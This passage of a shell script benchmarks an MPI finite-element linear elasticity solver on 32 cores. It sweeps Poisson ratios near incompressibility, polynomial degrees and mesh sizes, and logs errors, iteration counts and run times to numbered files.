./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 13,13,13 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"233_linE_nu_0.49_deg_3_h_13_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"233_linE_nu_0.49_deg_3_h_13_cpu_32_run_3.log\" \n\necho \"running nu: 0.49 p: 4 h: 3 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 3,3,3 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"234_linE_nu_0.49_deg_4_h_3_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"234_linE_nu_0.49_deg_4_h_3_cpu_32_run_1.log\" \n\necho \"running nu: 0.49 p: 4 h: 3 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 3,3,3 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"235_linE_nu_0.49_deg_4_h_3_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"235_linE_nu_0.49_deg_4_h_3_cpu_32_run_2.log\" \n\necho \"running nu: 0.49 p: 4 h: 3 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 3,3,3 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"236_linE_nu_0.49_deg_4_h_3_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"236_linE_nu_0.49_deg_4_h_3_cpu_32_run_3.log\" \n\necho \"running nu: 0.49 p: 4 h: 4 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"237_linE_nu_0.49_deg_4_h_4_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"237_linE_nu_0.49_deg_4_h_4_cpu_32_run_1.log\" \n\necho \"running nu: 0.49 p: 4 h: 4 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"238_linE_nu_0.49_deg_4_h_4_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"238_linE_nu_0.49_deg_4_h_4_cpu_32_run_2.log\" \n\necho \"running nu: 0.49 p: 4 h: 4 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"239_linE_nu_0.49_deg_4_h_4_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"239_linE_nu_0.49_deg_4_h_4_cpu_32_run_3.log\" \n\necho \"running nu: 0.49 p: 4 h: 7 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 7,7,7 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"240_linE_nu_0.49_deg_4_h_7_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"240_linE_nu_0.49_deg_4_h_7_cpu_32_run_1.log\" \n\necho \"running nu: 0.49 p: 4 h: 7 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 7,7,7 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"241_linE_nu_0.49_deg_4_h_7_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"241_linE_nu_0.49_deg_4_h_7_cpu_32_run_2.log\" \n\necho \"running nu: 0.49 p: 4 h: 7 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 7,7,7 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"242_linE_nu_0.49_deg_4_h_7_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"242_linE_nu_0.49_deg_4_h_7_cpu_32_run_3.log\" \n\necho \"running nu: 0.49 p: 4 h: 8 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"243_linE_nu_0.49_deg_4_h_8_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"243_linE_nu_0.49_deg_4_h_8_cpu_32_run_1.log\" \n\necho \"running nu: 0.49 p: 4 h: 8 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"244_linE_nu_0.49_deg_4_h_8_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"244_linE_nu_0.49_deg_4_h_8_cpu_32_run_2.log\" \n\necho \"running nu: 0.49 p: 4 h: 8 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"245_linE_nu_0.49_deg_4_h_8_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"245_linE_nu_0.49_deg_4_h_8_cpu_32_run_3.log\" \n\necho \"running nu: 0.49 p: 4 h: 9 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 9,9,9 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"246_linE_nu_0.49_deg_4_h_9_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"246_linE_nu_0.49_deg_4_h_9_cpu_32_run_1.log\" \n\necho \"running nu: 0.49 p: 4 h: 9 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 9,9,9 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"247_linE_nu_0.49_deg_4_h_9_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"247_linE_nu_0.49_deg_4_h_9_cpu_32_run_2.log\" \n\necho \"running nu: 0.49 p: 4 h: 9 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 9,9,9 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"248_linE_nu_0.49_deg_4_h_9_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"248_linE_nu_0.49_deg_4_h_9_cpu_32_run_3.log\" \n\necho \"running nu: 0.49999 p: 2 h: 38 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 38,38,38 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"249_linE_nu_0.49999_deg_2_h_38_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"249_linE_nu_0.49999_deg_2_h_38_cpu_32_run_1.log\" \n\necho \"running nu: 0.49999 p: 2 h: 38 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 38,38,38 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"250_linE_nu_0.49999_deg_2_h_38_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"250_linE_nu_0.49999_deg_2_h_38_cpu_32_run_2.log\" \n\necho \"running nu: 0.49999 p: 2 h: 38 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 38,38,38 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"251_linE_nu_0.49999_deg_2_h_38_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"251_linE_nu_0.49999_deg_2_h_38_cpu_32_run_3.log\" \n\necho \"running nu: 0.49999 p: 2 h: 96 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 96,96,96 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"252_linE_nu_0.49999_deg_2_h_96_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"252_linE_nu_0.49999_deg_2_h_96_cpu_32_run_1.log\" \n\necho \"running nu: 0.49999 p: 2 h: 96 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 96,96,96 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"253_linE_nu_0.49999_deg_2_h_96_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"253_linE_nu_0.49999_deg_2_h_96_cpu_32_run_2.log\" \n\necho \"running nu: 0.49999 p: 2 h: 96 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 96,96,96 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"254_linE_nu_0.49999_deg_2_h_96_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"254_linE_nu_0.49999_deg_2_h_96_cpu_32_run_3.log\" \n\necho \"running nu: 0.49999 p: 2 h: 97 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 97,97,97 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"255_linE_nu_0.49999_deg_2_h_97_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"255_linE_nu_0.49999_deg_2_h_97_cpu_32_run_1.log\" \n\necho \"running nu: 0.49999 p: 2 h: 97 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 97,97,97 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"256_linE_nu_0.49999_deg_2_h_97_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"256_linE_nu_0.49999_deg_2_h_97_cpu_32_run_2.log\" \n\necho \"running nu: 0.49999 p: 2 h: 97 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 97,97,97 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"257_linE_nu_0.49999_deg_2_h_97_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"257_linE_nu_0.49999_deg_2_h_97_cpu_32_run_3.log\" \n\necho \"running nu: 0.49999 p: 3 h: 8 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"258_linE_nu_0.49999_deg_3_h_8_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"258_linE_nu_0.49999_deg_3_h_8_cpu_32_run_1.log\" \n\necho \"running nu: 0.49999 p: 3 h: 8 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"259_linE_nu_0.49999_deg_3_h_8_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"259_linE_nu_0.49999_deg_3_h_8_cpu_32_run_2.log\" \n\necho \"running nu: 0.49999 p: 3 h: 8 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"260_linE_nu_0.49999_deg_3_h_8_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"260_linE_nu_0.49999_deg_3_h_8_cpu_32_run_3.log\" \n\necho \"running nu: 0.49999 p: 3 h: 16 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 16,16,16 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"261_linE_nu_0.49999_deg_3_h_16_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"261_linE_nu_0.49999_deg_3_h_16_cpu_32_run_1.log\" \n\necho \"running nu: 0.49999 p: 3 h: 16 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 16,16,16 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"262_linE_nu_0.49999_deg_3_h_16_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"262_linE_nu_0.49999_deg_3_h_16_cpu_32_run_2.log\" \n\necho \"running nu: 0.49999 p: 3 h: 16 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 16,16,16 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"263_linE_nu_0.49999_deg_3_h_16_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"263_linE_nu_0.49999_deg_3_h_16_cpu_32_run_3.log\" \n\necho \"running nu: 0.49999 p: 3 h: 17 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 17,17,17 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"264_linE_nu_0.49999_deg_3_h_17_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"264_linE_nu_0.49999_deg_3_h_17_cpu_32_run_1.log\" \n\necho \"running nu: 0.49999 p: 3 h: 17 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 17,17,17 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"265_linE_nu_0.49999_deg_3_h_17_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"265_linE_nu_0.49999_deg_3_h_17_cpu_32_run_2.log\" \n\necho \"running nu: 0.49999 p: 3 h: 17 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 17,17,17 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"266_linE_nu_0.49999_deg_3_h_17_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"266_linE_nu_0.49999_deg_3_h_17_cpu_32_run_3.log\" \n\necho \"running nu: 0.49999 p: 4 h: 4 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"267_linE_nu_0.49999_deg_4_h_4_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"267_linE_nu_0.49999_deg_4_h_4_cpu_32_run_1.log\" \n\necho \"running nu: 0.49999 p: 4 h: 4 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"268_linE_nu_0.49999_deg_4_h_4_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"268_linE_nu_0.49999_deg_4_h_4_cpu_32_run_2.log\" \n\necho \"running nu: 0.49999 p: 4 h: 4 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"269_linE_nu_0.49999_deg_4_h_4_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"269_linE_nu_0.49999_deg_4_h_4_cpu_32_run_3.log\" \n\necho \"running nu: 0.49999 p: 4 h: 5 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"270_linE_nu_0.49999_deg_4_h_5_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"270_linE_nu_0.49999_deg_4_h_5_cpu_32_run_1.log\" \n\necho \"running nu: 0.49999 p: 4 h: 5 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"271_linE_nu_0.49999_deg_4_h_5_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"271_linE_nu_0.49999_deg_4_h_5_cpu_32_run_2.log\" \n\necho \"running nu: 0.49999 p: 4 h: 5 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"272_linE_nu_0.49999_deg_4_h_5_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"272_linE_nu_0.49999_deg_4_h_5_cpu_32_run_3.log\" \n\necho \"running nu: 0.49999 p: 4 h: 6 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"273_linE_nu_0.49999_deg_4_h_6_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"273_linE_nu_0.49999_deg_4_h_6_cpu_32_run_1.log\" \n\necho \"running nu: 0.49999 p: 4 h: 6 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"274_linE_nu_0.49999_deg_4_h_6_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"274_linE_nu_0.49999_deg_4_h_6_cpu_32_run_2.log\" \n\necho \"running nu: 0.49999 p: 4 h: 6 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"275_linE_nu_0.49999_deg_4_h_6_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"275_linE_nu_0.49999_deg_4_h_6_cpu_32_run_3.log\" \n\necho \"running nu: 0.499999 p: 2 h: 13 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 13,13,13 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"276_linE_nu_0.499999_deg_2_h_13_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> 